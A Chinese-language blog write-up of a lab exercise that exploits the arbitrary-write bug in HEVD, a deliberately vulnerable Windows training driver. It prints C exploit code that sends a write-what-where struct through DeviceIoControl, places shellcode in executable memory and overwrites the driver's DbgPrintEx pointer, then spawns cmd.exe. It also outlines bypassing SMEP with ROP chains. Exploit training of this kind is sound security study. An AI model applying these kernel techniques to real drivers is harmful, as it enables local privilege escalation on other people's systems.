Joe1sn's Cabinet

【Win Pwn】HEVD-任意地址写

非预期方法,暂时不会放出来

HEVD练习-任意地址写

漏洞点

image-20240216173136321

一点好玩的

传入一个结构体,得到结构体过后写入内容

结构体

1
2
3
4
5
typedef struct _WRITE_WHAT_WHERE
{
unsigned int* What;
unsigned int* Where;
}arbitrary_write, *pArbitraryWrite;

这里我做一个比较有意思的事儿,比如修改某个变量的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
printf("[*] Start Exploit\n");
pArbitraryWrite payload = (pArbitraryWrite)malloc(sizeof(arbitrary_write));
if (payload == NULL) {
printf("[!] Malloc payload failed\n");
return;
}
int vuln = 0x10000;
int pay = 0xDEADBEEF;
printf("[-] the vuln value is 0x%x\n", vuln);
payload->What = (unsigned int *)&pay;
payload->Where = (unsigned int *)&vuln;
DWORD size = sizeof(payload);

DWORD info = 0;
system("pause");
DeviceIoControl(hDevice, ioctl,
payload, size,
NULL, 0,
&info, NULL);
printf("[-] now vuln value is 0x%x", vuln);

image-20240216174148214

image-20240216174214564

利用ioctl的机制也可以实现读取某个地址的值

预期打法

最开始栈溢出我们提权使用的是修改当前的Token的低位并修改Token的Present和Enable,如果这里我们知道地址的话就可以做一样的操作了

但是在普通权限下不可能知道地址,那么我们是否能够覆盖HEVD驱动中的某些函数,使用类似inline hook的方式,将函数地址改为我们shellcode的地址,这样我们把问题变成了和内核栈溢出类似的情况了

利用之前的NtQueryInfomationulGetKernelBase函数可以获得HEVD的基地址

image-20240216200738623

这里我就尝试覆写DbgPrintEx函数为shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
printf("[*] Start Exploit\n");
pArbitraryWrite payload = (pArbitraryWrite)malloc(sizeof(arbitrary_write));
if (payload == NULL) {
printf("[!] Malloc payload failed\n");
return;
}
funcaddr hevd_base = ulGetKernelBase((PCHAR)"HEVD");
funcaddr dbgprint_addr = hevd_base + 0x2008;
funcaddr nt_base = ulGetKernelBase((PCHAR)"ntoskrnl.exe");
printf("[*] HEVD SYS kernel base %llx\n", hevd_base);
printf("[*] ntoskrnl kernel base %llx\n", nt_base);
printf("[*] HEVD DbgPrint Address %llx\n", dbgprint_addr);

printf("[*] Allocate Shellcode Space\n");
LPVOID shellcode_addr = VirtualAlloc(NULL,
sizeof(cmd),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (shellcode_addr == NULL) {
printf("[!] shellcode addr failed\n");
return;
}
memcpy(shellcode_addr, cmd, sizeof(cmd));
printf("[*] Shellcode addr %llx\n", shellcode_addr);

payload->What = (unsigned int *)&shellcode_addr;
payload->Where = (unsigned int *)dbgprint_addr;
DWORD size = sizeof(payload);

DWORD info = 0;
system("pause");
DeviceIoControl(hDevice, ioctl,
payload, size,
NULL, 0,
&info, NULL);
system("cmd.exe");

注意,覆写的是HEVD_BASE+0x2008的值 所指向的值

image-20240216210359750

成功覆写

image-20240216210450239

现在比较麻烦的就是过SMEP保护。

可以利用之前GS保护使用的内核栈泄露
https://joe1sn.eu.org/2024/02/24/win-hevd-exp-stackoverflow-GS/

直接在栈上布置参数和ROP链,要么取消SMEP,要么参考KVAS直接使用ROP链申请的堆中执行,后续操作就和栈溢出一致,只不过需要把某个函数该地址改为第一个ROP地址

非预期利用

写到这里在翻查别人wp的时候突然想到驱动是一直在后台运行的,我们可以多次触发该漏洞,然后我用了一种非常规的方法,eee,目前这种方法我还用在一些项目上,所以暂时不公开…SORRY

方法可以参考:https://0dr3f.github.io/2023/07/14/HEVD_Win10_22H2_ArbitraryOverwrite/
(虽然我的方法比他简单很多)

image-20240216232930887

可以优雅退出不卡顿

引用

https://0dr3f.github.io/2023/07/14/HEVD_Win10_22H2_ArbitraryOverwrite/